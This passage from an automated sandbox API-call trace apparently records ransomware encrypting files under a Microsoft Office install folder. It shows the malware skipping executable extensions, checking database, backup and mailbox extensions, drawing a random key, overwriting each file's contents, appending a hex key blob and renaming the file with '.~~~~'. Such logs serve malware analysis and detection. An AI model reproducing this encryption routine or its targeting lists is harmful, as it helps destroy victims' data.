	[0146.699] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.idx_dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\XLSLICER.DLL.IDX_DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xlslicer.dll.idx_dll.~~~~")) returned 1
	[0146.758] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d0600 | out: hHeap=0x300000) returned 1
	[0146.758] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0146.758] GetLastError () returned 0x0
	[0146.758] RtlWakeConditionVariable () returned 0x365f70
	[0146.758] GetCurrentThreadId () returned 0x9f4
	[0146.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".scr") returned 0x0
	[0146.758] lstrlenW (lpString=".cmd") returned 4
	[0146.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".cmd") returned 0x0
	[0146.758] lstrlenW (lpString=".dll") returned 4
	[0146.758] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".dll") returned 0x0
	[0146.759] lstrlenW (lpString=".bat") returned 4
	[0146.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".bat") returned 0x0
	[0146.759] lstrlenW (lpString=".cpl") returned 4
	[0146.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".cpl") returned 0x0
	[0146.759] lstrlenW (lpString=".sys") returned 4
	[0146.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".sys") returned 0x0
	[0146.759] lstrlenW (lpString=".msc") returned 4
	[0146.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".msc") returned 0x0
	[0146.759] lstrlenW (lpString=".com") returned 4
	[0146.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".com") returned 0x0
	[0146.759] lstrlenW (lpString=".lnk") returned 4
	[0146.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".lnk") returned 0x0
	[0146.759] lstrlenW (lpString=".msp") returned 4
	[0146.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".msp") returned 0x0
	[0146.759] lstrlenW (lpString=".pif") returned 4
	[0146.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".pif") returned 0x0
	[0146.759] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0146.759] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch="msp\r\n.pif") returned 0x0
	[0146.759] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\servwrap.asp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0146.761] lstrlenW (lpString=".sqb") returned 4
	[0146.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".sqb") returned 0x0
	[0146.761] lstrlenW (lpString=".ost") returned 4
	[0146.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".ost") returned 0x0
	[0146.761] lstrlenW (lpString=".txt") returned 4
	[0146.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".txt") returned 0x0
	[0146.761] lstrlenW (lpString=".mdt") returned 4
	[0146.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".mdt") returned 0x0
	[0146.761] lstrlenW (lpString=".BDB") returned 4
	[0146.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".BDB") returned 0x0
	[0146.761] lstrlenW (lpString=".eql") returned 4
	[0146.761] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".eql") returned 0x0
	[0146.762] lstrlenW (lpString=".DBF") returned 4
	[0146.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".DBF") returned 0x0
	[0146.762] lstrlenW (lpString=".EQL") returned 4
	[0146.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".EQL") returned 0x0
	[0146.762] lstrlenW (lpString=".FDB") returned 4
	[0146.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".FDB") returned 0x0
	[0146.762] lstrlenW (lpString=".EDB") returned 4
	[0146.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".EDB") returned 0x0
	[0146.762] lstrlenW (lpString=".DACPAC") returned 7
	[0146.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".DACPAC") returned 0x0
	[0146.762] lstrlenW (lpString=".VHD") returned 4
	[0146.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".VHD") returned 0x0
	[0146.762] lstrlenW (lpString=".DBV") returned 4
	[0146.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".DBV") returned 0x0
	[0146.762] lstrlenW (lpString=".dacpac") returned 7
	[0146.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".dacpac") returned 0x0
	[0146.762] lstrlenW (lpString=".sdf") returned 4
	[0146.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".sdf") returned 0x0
	[0146.762] lstrlenW (lpString=".accdb") returned 6
	[0146.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".accdb") returned 0x0
	[0146.762] lstrlenW (lpString=".DBX") returned 4
	[0146.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".DBX") returned 0x0
	[0146.762] lstrlenW (lpString=".MDT") returned 4
	[0146.762] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".MDT") returned 0x0
	[0146.762] lstrlenW (lpString=".SQB") returned 4
	[0146.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".SQB") returned 0x0
	[0146.763] lstrlenW (lpString=".vhd") returned 4
	[0146.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".vhd") returned 0x0
	[0146.763] lstrlenW (lpString=".bac") returned 4
	[0146.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".bac") returned 0x0
	[0146.763] lstrlenW (lpString=".mdf") returned 4
	[0146.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".mdf") returned 0x0
	[0146.763] lstrlenW (lpString=".BAK") returned 4
	[0146.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".BAK") returned 0x0
	[0146.763] lstrlenW (lpString=".BAC") returned 4
	[0146.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".BAC") returned 0x0
	[0146.763] lstrlenW (lpString=".dbs") returned 4
	[0146.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".dbs") returned 0x0
	[0146.763] lstrlenW (lpString=".vhdx") returned 5
	[0146.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".vhdx") returned 0x0
	[0146.763] lstrlenW (lpString=".NDF") returned 4
	[0146.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".NDF") returned 0x0
	[0146.763] lstrlenW (lpString=".dat") returned 4
	[0146.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".dat") returned 0x0
	[0146.763] lstrlenW (lpString=".DBS") returned 4
	[0146.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".DBS") returned 0x0
	[0146.763] lstrlenW (lpString=".CKP") returned 4
	[0146.763] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".CKP") returned 0x0
	[0146.764] lstrlenW (lpString=".edb") returned 4
	[0146.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".edb") returned 0x0
	[0146.764] lstrlenW (lpString=".PST") returned 4
	[0146.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".PST") returned 0x0
	[0146.764] lstrlenW (lpString=".dbf") returned 4
	[0146.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".dbf") returned 0x0
	[0146.764] lstrlenW (lpString=".SQL") returned 4
	[0146.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".SQL") returned 0x0
	[0146.764] lstrlenW (lpString=".pst") returned 4
	[0146.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".pst") returned 0x0
	[0146.764] lstrlenW (lpString=".dbv") returned 4
	[0146.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".dbv") returned 0x0
	[0146.764] lstrlenW (lpString=".SDF") returned 4
	[0146.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".SDF") returned 0x0
	[0146.764] lstrlenW (lpString=".dtxs") returned 5
	[0146.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".dtxs") returned 0x0
	[0146.764] lstrlenW (lpString=".db3") returned 4
	[0146.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".db3") returned 0x0
	[0146.764] lstrlenW (lpString=".OST") returned 4
	[0146.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".OST") returned 0x0
	[0146.764] lstrlenW (lpString=".dbx") returned 4
	[0146.764] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".dbx") returned 0x0
	[0146.765] lstrlenW (lpString=".DB3") returned 4
	[0146.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".DB3") returned 0x0
	[0146.765] lstrlenW (lpString=".DAT") returned 4
	[0146.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".DAT") returned 0x0
	[0146.765] lstrlenW (lpString=".VHDX") returned 5
	[0146.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".VHDX") returned 0x0
	[0146.765] lstrlenW (lpString=".ndf") returned 4
	[0146.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".ndf") returned 0x0
	[0146.765] lstrlenW (lpString=".DB") returned 3
	[0146.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".DB") returned 0x0
	[0146.765] lstrlenW (lpString=".sql") returned 4
	[0146.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".sql") returned 0x0
	[0146.765] lstrlenW (lpString=".MYD") returned 4
	[0146.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".MYD") returned 0x0
	[0146.765] lstrlenW (lpString=".DBT") returned 4
	[0146.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".DBT") returned 0x0
	[0146.765] lstrlenW (lpString=".ACCDB") returned 6
	[0146.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".ACCDB") returned 0x0
	[0146.765] lstrlenW (lpString=".fdb") returned 4
	[0146.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".fdb") returned 0x0
	[0146.765] lstrlenW (lpString=".bak") returned 4
	[0146.765] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".bak") returned 0x0
	[0146.765] lstrlenW (lpString=".myd") returned 4
	[0146.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".myd") returned 0x0
	[0146.766] lstrlenW (lpString=".DTXS") returned 5
	[0146.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".DTXS") returned 0x0
	[0146.766] lstrlenW (lpString=".ckp") returned 4
	[0146.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".ckp") returned 0x0
	[0146.766] lstrlenW (lpString=".dbt") returned 4
	[0146.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".dbt") returned 0x0
	[0146.766] lstrlenW (lpString=".db") returned 3
	[0146.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".db") returned 0x0
	[0146.766] lstrlenW (lpString=".TXT") returned 4
	[0146.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".TXT") returned 0x0
	[0146.766] lstrlenW (lpString=".MDF") returned 4
	[0146.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".MDF") returned 0x0
	[0146.766] lstrlenW (lpString=".bdb") returned 4
	[0146.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".bdb") returned 0x0
	[0146.766] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0146.766] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0146.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0146.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0146.766] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x396378) returned 1
	[0146.768] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0146.768] CryptReleaseContext (hProv=0x396378, dwFlags=0x0) returned 1
	[0146.768] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0146.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0146.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0146.768] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26675822627) returned 1
	[0146.768] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xc0e262f0, dwHighDateTime=0x1d60e1e)) 
	[0146.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0146.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0146.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0146.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e0d8
	[0146.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0146.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e0d8 | out: hHeap=0x300000) returned 1
	[0146.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0146.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0146.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aca58
	[0146.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0146.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c7aa8
	[0146.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0146.769] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0146.769] GetLastError () returned 0x0
	[0146.769] GetLastError () returned 0x0
	[0146.770] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0146.770] GetLastError () returned 0x0
	[0146.770] GetLastError () returned 0x0
	[0146.770] ReadFile (in: hFile=0x10c, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x25dfec0*=0x3ab, lpOverlapped=0x0) returned 1
	[0146.795] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffffc55, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.795] WriteFile (in: hFile=0x10c, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x3ab, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x3ab, lpOverlapped=0x0) returned 1
	[0146.795] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0146.795] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.795] WriteFile (in: hFile=0x10c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0146.796] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0146.796] WriteFile (in: hFile=0x10c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0146.796] CloseHandle (hObject=0x10c) returned 1
	[0146.796] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28aca58
	[0146.796] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\servwrap.asp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb\\SERVWRAP.ASP.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\accessweb\\servwrap.asp.~~~~")) returned 1
	[0146.804] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0146.804] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0146.804] GetLastError () returned 0x0
	[0146.805] RtlWakeConditionVariable () returned 0x0
	[0146.805] GetCurrentThreadId () returned 0x9f4
	[0146.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".scr") returned 0x0
	[0146.805] lstrlenW (lpString=".cmd") returned 4
	[0146.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".cmd") returned 0x0
	[0146.805] lstrlenW (lpString=".dll") returned 4
	[0146.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".dll") returned 0x0
	[0146.805] lstrlenW (lpString=".bat") returned 4
	[0146.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".bat") returned 0x0
	[0146.805] lstrlenW (lpString=".cpl") returned 4
	[0146.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".cpl") returned 0x0
	[0146.805] lstrlenW (lpString=".sys") returned 4
	[0146.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".sys") returned 0x0
	[0146.805] lstrlenW (lpString=".msc") returned 4
	[0146.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".msc") returned 0x0
	[0146.805] lstrlenW (lpString=".com") returned 4
	[0146.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".com") returned 0x0
	[0146.805] lstrlenW (lpString=".lnk") returned 4
	[0146.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".lnk") returned 0x0
	[0146.805] lstrlenW (lpString=".msp") returned 4
	[0146.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".msp") returned 0x0
	[0146.805] lstrlenW (lpString=".pif") returned 4
	[0146.805] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".pif") returned 0x0
	[0146.806] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0146.806] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0146.806] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accvdt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0146.808] lstrlenW (lpString=".sqb") returned 4
	[0146.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".sqb") returned 0x0
	[0146.808] lstrlenW (lpString=".ost") returned 4
	[0146.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".ost") returned 0x0
	[0146.808] lstrlenW (lpString=".txt") returned 4
	[0146.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".txt") returned 0x0
	[0146.808] lstrlenW (lpString=".mdt") returned 4
	[0146.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".mdt") returned 0x0
	[0146.808] lstrlenW (lpString=".BDB") returned 4
	[0146.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".BDB") returned 0x0
	[0146.808] lstrlenW (lpString=".eql") returned 4
	[0146.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".eql") returned 0x0
	[0146.808] lstrlenW (lpString=".DBF") returned 4
	[0146.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".DBF") returned 0x0
	[0146.808] lstrlenW (lpString=".EQL") returned 4
	[0146.808] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".EQL") returned 0x0
	[0146.808] lstrlenW (lpString=".FDB") returned 4
	[0146.809] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCVDT.DLL", lpSrch=".FDB") returned 0x0
	[0146.809] lstrlenW (lpString=".EDB") returned 4
